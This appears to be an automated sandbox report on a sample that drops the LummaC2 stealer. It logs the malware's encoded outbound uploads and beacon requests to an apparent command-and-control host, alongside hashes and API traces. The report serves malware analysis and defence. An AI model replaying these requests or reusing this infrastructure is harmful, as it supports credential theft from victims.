Dec 27, 2024 14:56:23.385878086 CET	4944	OUT	Data Raw: 35 64 50 79 37 31 4a 35 69 43 54 5c 2f 55 2b 54 4e 50 2b 39 7a 5c 2f 41 4b 37 6a 72 5c 2f 6f 6d 4d 5c 2f 35 34 39 4b 64 75 32 79 4a 73 6d 6a 64 50 7a 5c 2f 78 7a 5c 2f 54 46 51 72 49 59 5c 2f 4f 5a 30 6b 5c 2f 65 66 38 2b 5c 2f 38 41 7a 37 6a 76 Data Ascii: 5dPy71J5iCT\/U+TNP+9z\/AK7jr\/omM\/549Kdu2yJsmjdPz\/xz\/TFQrIY\/OZ0k\/ef8+\/8Az7jv\/wDq7Vp7Ty\/H\/gANkx5e\/fI7+b\/q5Jf3HTn\/AOuPX9UPl+Z\/f\/7Zf6nj\/P5mnr\/uSe\/mfuP88H25o+WRpndN7+b+6\/z2\/wA8CszoGeW6+d\/fj\/6Zfr\/WiRplkSH+D\/n4\/rgUJHu37HL\/AP
Dec 27, 2024 14:56:23.385934114 CET	4944	OUT	Data Raw: 34 67 48 2b 58 6a 39 61 6a 50 5c 2f 42 61 37 39 6f 37 2b 48 34 58 5c 2f 41 41 4c 48 31 30 6e 34 68 6e 2b 58 78 46 57 76 79 54 76 5c 2f 41 41 6e 71 31 68 38 59 76 47 5c 2f 77 4f 75 4e 64 2b 47 30 58 6a 48 77 4e 38 57 66 67 4a 38 46 37 7a 55 76 2b Data Ascii: 4gH+Xj9ajP\/Ba79o7+H4X\/AALH10n4hn+XxFWvyTv\/AAnq1h8YvG\/wOuNd+G0XjHwN8WfgJ8F7zUv+Ey1GfwfrnjX9pXxv4d8HfCWDwxrun+E7+41S18Q2niFvHKPJpNpdN4F8P+JNWs7O8v8ATodKvPHB8QtIl8H\/ABi8aQX2gLpXwP8Ah\/r3xJ8ZPd6ve28d14e8PfEfwV8Lr6Pw9LDod2b3UJPEnj3Q5LWHU4tGtn0
Dec 27, 2024 14:56:23.386012077 CET	4944	OUT	Data Raw: 54 72 4d 74 6c 48 70 31 5c 2f 71 30 4d 6d 6d 47 31 6e 75 4c 69 32 75 33 6d 73 62 65 37 58 39 69 63 46 53 34 62 70 63 4e 35 62 6c 50 43 65 4d 68 6a 4d 6b 34 59 70 66 36 6f 59 61 55 4b 30 38 52 4c 44 7a 34 56 66 39 68 56 38 44 58 72 56 46 47 64 54 Data Ascii: TrMtlHp1\/q0MmmG1nuLi2u3msbe7X9icFS4bpcN5blPCeMhjMk4Ypf6oYaUK08RLDz4Vf9hV8DXrVFGdTE4GrgZYXETkryrU5yu73f8M8fR4qq8WZxm\/GeBqYDiHinFVOMcdTnQhho13xZKWfQxtChSlKnSw2Njj\/rOHpxdqdKpGFouNk1\/un8P5ioasVE\/X8P6mvqj5YZRRRQBC\/3j+H8hTae\/X8P6mmUHQRmP0\/EH
Dec 27, 2024 14:56:23.433960915 CET	27192	OUT	Data Raw: 6f 61 30 31 6a 34 66 38 41 6a 54 34 49 65 4b 5c 2f 42 38 76 37 51 58 78 64 75 39 45 38 4a 5c 2f 44 58 57 66 67 64 38 57 6a 34 34 38 57 2b 48 5c 2f 46 33 78 30 74 66 48 4e 76 34 36 76 5c 2f 69 39 72 30 48 6a 6d 33 30 48 56 50 43 56 76 34 69 30 4e Data Ascii: oa01j4f8AjT4IeK\/B8v7QXxdu9E8J\/DXWfgd8Wj448W+H\/F3x0tfHNv46v\/i9r0Hjm30HVPCVv4i0NdLW18Bv2lZ739jfw78BvhTr\/wABfh0kWl\/tPaD8cvhl8aLL9vjQviH8VfGHjT4veNPHXgL4vfC2y+C\/iG9\/Y08f6xfeANe8A6D4V1v9qHwJonxF+Ffiz4dwWNrrEnhHT\/BtzpHrs\/h3w\/dSNNc6Fo9xM33
Dec 27, 2024 14:56:23.545933008 CET	7416	OUT	Data Raw: 2f 6e 32 72 59 31 48 34 77 65 4d 5c 2f 42 4e 6e 64 32 50 69 6e 34 4a 65 50 4c 37 77 53 62 4f 57 4c 52 50 69 50 38 4e 42 46 38 55 62 50 37 50 50 47 36 4b 33 69 6e 77 46 6f 46 76 42 38 56 74 49 76 59 35 33 64 5a 59 66 43 76 67 66 78 37 70 63 64 74 Data Ascii: /n2rY1H4weM\/BNnd2Pin4JePL7wSbOWLRPiP8NBF8UbP7PPG6K3inwFoFvB8VtIvY53dZYfCvgfx7pcdtCbiTW0kkS2P\/KH4PYLEcV8Zca8J1sJlua4Gh\/amb0cvzGnllSpLFLOMPg3TwUMc4V8XVrRrpf2dg5Va9aUeelSTU5H\/AF1Z9mGGyLhXhbNqtbF4SVXCZXgp4rDQx0qVKk8tVf2mMqYWnUpYOhT9k3LG4z2WGpJ
Dec 27, 2024 14:56:23.711368084 CET	1236	OUT	Data Raw: 31 6f 39 6e 35 5c 2f 68 5c 2f 77 54 53 6e 31 2b 58 36 6c 43 52 70 6d 32 65 57 6b 69 66 38 38 6f 5c 2f 5c 2f 41 4e 58 50 36 64 4d 64 4f 61 4e 75 49 39 6d 79 33 6b 5c 2f 35 61 5c 2f 36 33 38 76 36 5c 2f 35 34 71 62 7a 50 4d 66 66 30 54 33 39 50 38 Data Ascii: 1o9n5\/h\/wTSn1+X6lCRpm2eWkif88o\/\/ANXP6dMdOaNuI9my3k\/5a\/638v6\/54qbzPMff0T39P8AP5VDJ8u\/f8\/P7qP\/AJbzcj6\/n6\/StDQZHJ9xNmxP+Wv05zketMXZ8ybJHST97+7l\/cfj\/wDq\/rT\/ACcSJ5ybE\/1vX9\/\/ANe3tnp\/Kn+Xt2I6fJ5X7qST\/UQdf5\/rQdBW2uyun7xEk\/eiO379
Dec 27, 2024 14:56:31.498783112 CET	157	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 27 Dec 2024 13:56:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	185.121.15.192	80	2056	C:\Users\user\AppData\Local\Temp\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:56:31.777266979 CET	99	OUT	GET /nTrmoVgOaovBJpKSuLkP1735210003?argument=0 HTTP/1.1 Host: home.fortth14ht.top Accept: /
Dec 27, 2024 14:56:33.263741016 CET	372	IN	HTTP/1.1 404 NOT FOUND Server: nginx/1.22.1 Date: Fri, 27 Dec 2024 13:56:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	185.121.15.192	80	2056	C:\Users\user\AppData\Local\Temp\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 14:56:33.536689997 CET	172	OUT	POST /nTrmoVgOaovBJpKSuLkP1735210003 HTTP/1.1 Host: home.fortth14ht.top Accept: / Content-Type: application/json Content-Length: 31 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Dec 27, 2024 14:56:35.199584961 CET	372	IN	HTTP/1.1 404 NOT FOUND Server: nginx/1.22.1 Date: Fri, 27 Dec 2024 13:56:34 GMT Content-Type: text/html; charset=utf-8 Content-Length: 207 Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	3.218.7.103	443	2056	C:\Users\user\AppData\Local\Temp\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:56:09 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2024-12-27 13:56:09 UTC	224	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:56:09 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-12-27 13:56:09 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	08:56:03
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\QzK1LCSuq2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QzK1LCSuq2.exe"
Imagebase:	0xfd0000
File size:	6'195'712 bytes
MD5 hash:	7047B240F5A5E866262DFCC36F919F3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:56:05
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\LummaC2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\LummaC2.exe"
Imagebase:	0xd40000
File size:	299'520 bytes
MD5 hash:	607000C61FCB5A41B8D511B5ED7625D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:56:05
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\Set-up.exe"
Imagebase:	0x230000
File size:	6'851'208 bytes
MD5 hash:	2A99036C44C996CEDEB2042D389FE23C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 06070A08 Relevance: 1.4, Strings: 1, Instructions: 186COMMON

Download Yara Rule

Strings

8bq, xrefs: 06070C4F

Memory Dump Source

Source File: 00000000.00000002.1753811219.0000000006070000.00000040.00000800.00020000.00000000.sdmp, Offset: 06070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6070000_QzK1LCSuq2.jbxd

Similarity

API ID:
String ID: 8bq
API String ID: 0-187764589
Opcode ID: ecedffa33852e8ddf3b009a125e12e4b2b370014df28bb3b5f977adc231747d5
Instruction ID: f7ecedfc9331fe92f45e491b2d2a7ffd50afc18f545796b62da89e42675b6610
Opcode Fuzzy Hash: ecedffa33852e8ddf3b009a125e12e4b2b370014df28bb3b5f977adc231747d5
Instruction Fuzzy Hash: 0761B274B402419FCB98EB78D085B29BFE3BB84304F568669E80687391DF74EC41CB95

Function 06070590 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1753811219.0000000006070000.00000040.00000800.00020000.00000000.sdmp, Offset: 06070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6070000_QzK1LCSuq2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fc08c01c0c044b535188ec659167cefeeb7feddab685fade47fda2daa83a60
Instruction ID: 4867307fa9ed761d91121854433a61edda68413480aeaf0b071e9427c4269b34
Opcode Fuzzy Hash: 72fc08c01c0c044b535188ec659167cefeeb7feddab685fade47fda2daa83a60
Instruction Fuzzy Hash: FF510C34A0134ACFCB05DBA8E595AAEBFB2FF85308F104669C404AB354DB395D4ACB91

Function 06070848 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1753811219.0000000006070000.00000040.00000800.00020000.00000000.sdmp, Offset: 06070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6070000_QzK1LCSuq2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3543226579ac27fb104008b7c49e35f6eb1f2a85cc2d540cfdd17543972fb1ee
Instruction ID: 7fa6b2c522f721e12cd4da55204b3308ea40f0cec53bd7bc631baf0b1431b41a
Opcode Fuzzy Hash: 3543226579ac27fb104008b7c49e35f6eb1f2a85cc2d540cfdd17543972fb1ee
Instruction Fuzzy Hash: 63413E34A0130ACFCB05DFA8E595AAEBBF2FB85308F104568C404A7354EB395D4ACF91

Function 06070C90 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1753811219.0000000006070000.00000040.00000800.00020000.00000000.sdmp, Offset: 06070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6070000_QzK1LCSuq2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 802147c2eae46548522f9a2c61513fc7b81b61717e258db1d9ebd20c478bab96
Instruction ID: 56ae37671deb2178ef7b13f34c0fe23d41c27700b9eb5421019fe58c09592458
Opcode Fuzzy Hash: 802147c2eae46548522f9a2c61513fc7b81b61717e258db1d9ebd20c478bab96
Instruction Fuzzy Hash: 0D3155B1B402514FCB81D7ADE8804BEBFE2EB84314B118666D45AD7341CB34ED46CBA9

Analysis Process: LummaC2.exePID: 1104, Parent PID: 4432COMMON

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	56.5%
Total number of Nodes:	46
Total number of Limit Nodes:	2

Executed Functions

Function 00D75135 Relevance: 65.4, Strings: 52, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00D754DD
2, xrefs: 00D75180
4, xrefs: 00D756DA
v, xrefs: 00D753A9
H, xrefs: 00D75156
w, xrefs: 00D75443
*, xrefs: 00D755E8
E, xrefs: 00D756F4
>, xrefs: 00D7519C
f, xrefs: 00D754C1
(, xrefs: 00D75236
M, xrefs: 00D75435
h, xrefs: 00D75489
4, xrefs: 00D75172
], xrefs: 00D75347
{, xrefs: 00D7539B
8, xrefs: 00D751C6
x, xrefs: 00D75419
:, xrefs: 00D751B8
f, xrefs: 00D754CF
, xrefs: 00D751FE
3, xrefs: 00D75427
., xrefs: 00D7520C
J, xrefs: 00D75148
D, xrefs: 00D7545F
0, xrefs: 00D7518E
r, xrefs: 00D753E1
$, xrefs: 00D751E2
i, xrefs: 00D75371
<, xrefs: 00D751AA
J, xrefs: 00D753EF
n, xrefs: 00D754B3
W, xrefs: 00D7537F
*, xrefs: 00D75228
\, xrefs: 00D75497
l, xrefs: 00D75355
C, xrefs: 00D7540B
(, xrefs: 00D755F0
9, xrefs: 00D7546D
F, xrefs: 00D756F8
t, xrefs: 00D75451
M, xrefs: 00D753C5
6, xrefs: 00D75164
G, xrefs: 00D753FD
&, xrefs: 00D751D4
V, xrefs: 00D75363
R, xrefs: 00D7547B
k, xrefs: 00D7532B
F, xrefs: 00D753D3
,, xrefs: 00D7521A
^, xrefs: 00D754A5
", xrefs: 00D751F0

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: $ $"$$$&$($($*$*$,$.$0$2$3$4$4$6$8$9$:$<$>$C$D$E$F$F$G$H$J$J$M$M$R$V$W$\$]$^$f$f$h$i$k$l$n$r$t$v$w$x${
API String ID: 0-1337114936
Opcode ID: 41064058e67affaa0609ed8d524c15bf5c895aa80119c7f86f3f6f168eb86f05
Instruction ID: 232c78f703541b46a008ef6485d8238ca7cf49f6487d2cc3948c5483b4597b18
Opcode Fuzzy Hash: 41064058e67affaa0609ed8d524c15bf5c895aa80119c7f86f3f6f168eb86f05
Instruction Fuzzy Hash: 3B2242219087E989DB32C67C8C187CDBEA15B27324F0843D9D1E96B3D2D7B50B85CB66

Function 00D48720 Relevance: 7.7, APIs: 5, Instructions: 235
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00D48744
GetCurrentThreadId.KERNEL32 ref: 00D4874E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00D48808
GetForegroundWindow.USER32 ref: 00D489A1
ExitProcess.KERNEL32 ref: 00D48A17

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: cb1d2d3db75a7701c1269bf223568e059fefad942460760887ba07066ec90bf3
Instruction ID: 72fd12594980d8f6e64370d634456fa249aeeab1e3aca2f68a5d4787022e83b2
Opcode Fuzzy Hash: cb1d2d3db75a7701c1269bf223568e059fefad942460760887ba07066ec90bf3
Instruction Fuzzy Hash: 4B716973E143145BD318EE69DC4235AB6CB9BC0710F1F813EA998EB395ED758C0687A2

Function 00D7BAD0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00D7EA7B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 00D7BAFE

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00D7C59C Relevance: 1.3, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9., xrefs: 00D7C5F0

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID: 9.
API String ID: 2994545307-3220845746
Opcode ID: bbf6deca1cca924de1835829e0c0b776c8f72af61360ccbd2adc978f9daf8c17
Instruction ID: ab12266226b18bae539457f6b44fedf1308df6b59ae026131ceb6d6f6fbf789f
Opcode Fuzzy Hash: bbf6deca1cca924de1835829e0c0b776c8f72af61360ccbd2adc978f9daf8c17
Instruction Fuzzy Hash: 4B11C234A102108FDB148F24DC94BBAB7E1FB59324F68A618D899E73A1E76198008B64

Function 00D7EEC0 Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2ed4e5ca0d23e108344194db789593663a61608734c341ab51121edd8e01a25e
Instruction ID: 1f994c0205cb3b6f01a7a6d240b0aa7e2baece673c3a60ac8429097ad6a148e8
Opcode Fuzzy Hash: 2ed4e5ca0d23e108344194db789593663a61608734c341ab51121edd8e01a25e
Instruction Fuzzy Hash: A6411471205304AFE3248B25DCC1B7AF3A6EB89718F28852CE1CAD7695EB31BC11D765

Function 00D7BC91 Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 00D7BCA2

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 2805de45ef17021f5d34bce4644cd8fb30d31f7c85c2a75d3340c0e77deaa00b
Instruction ID: e0d3b713838739966ecec598d359b8482c647125e57cb8fe89b7d2849d1331d5
Opcode Fuzzy Hash: 2805de45ef17021f5d34bce4644cd8fb30d31f7c85c2a75d3340c0e77deaa00b
Instruction Fuzzy Hash: C8E04FB5A216459FCB88CF28FC515B97BB5EB583003144029E503C7360EB35D506CB24

Function 00D7A080 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,7B1647F3,00D488F3,10130D9D), ref: 00D7A090

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 249f5b1b69a27102f978b5568ef0c689155c385010d02ecb41e65e5d5689e0e4
Instruction ID: e5dd37bf5a26a323d6f7bd4c368af5151722e0f39a9937654ba0799433762df7
Opcode Fuzzy Hash: 249f5b1b69a27102f978b5568ef0c689155c385010d02ecb41e65e5d5689e0e4
Instruction Fuzzy Hash: 9AC04831085221AACA202B14FC09B8A3E69EF46360F164092B008A61B18A60AC828AA8

Non-executed Functions

Function 00D7483C Relevance: 34.0, Strings: 27, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

h, xrefs: 00D7486B
:, xrefs: 00D7497A
b, xrefs: 00D74895
_, xrefs: 00D74A84
2, xrefs: 00D7499A
j, xrefs: 00D7485D
n, xrefs: 00D74879
8, xrefs: 00D74982
0, xrefs: 00D749A2
0, xrefs: 00D74B4D
t, xrefs: 00D7484F
O, xrefs: 00D74880
f, xrefs: 00D74A8C
>, xrefs: 00D74A43
<, xrefs: 00D74992
f, xrefs: 00D748B1
l, xrefs: 00D74887
3, xrefs: 00D7499E
?, xrefs: 00D748F0
>, xrefs: 00D7498A
d, xrefs: 00D748BF
<, xrefs: 00D74A3A
], xrefs: 00D74A94
), xrefs: 00D74946
`, xrefs: 00D748A3
b, xrefs: 00D74A7C
1, xrefs: 00D7491A

Memory Dump Source

Source File: 00000001.00000002.2954956259.0000000000D41000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000001.00000002.2954941240.0000000000D40000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2954990563.0000000000D80000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955009062.0000000000D83000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955027522.0000000000D87000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2955044586.0000000000D91000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d40000_LummaC2.jbxd

Similarity

API ID:
String ID: )$0$0$1$2$3$8$:$<$<$>$>$?$O$]$_$`$b$b$d$f$f$h$j$l$n$t
API String ID: 0-3467771618
Opcode ID: 9c42ee0f0009a6c56b814e1bc9f2175f60b0b93398ca1d9168aec35b91c70958
Instruction ID: b8f88844cd2359e2bac80ca15402bb47a1ae20169e326d1ec9066c64540962a6
Opcode Fuzzy Hash: 9c42ee0f0009a6c56b814e1bc9f2175f60b0b93398ca1d9168aec35b91c70958
Instruction Fuzzy Hash: 18E1A2219087E98EDB22C67C88443CDBFB15B53324F1883D9D4E8AB3D2D7754A85CB66

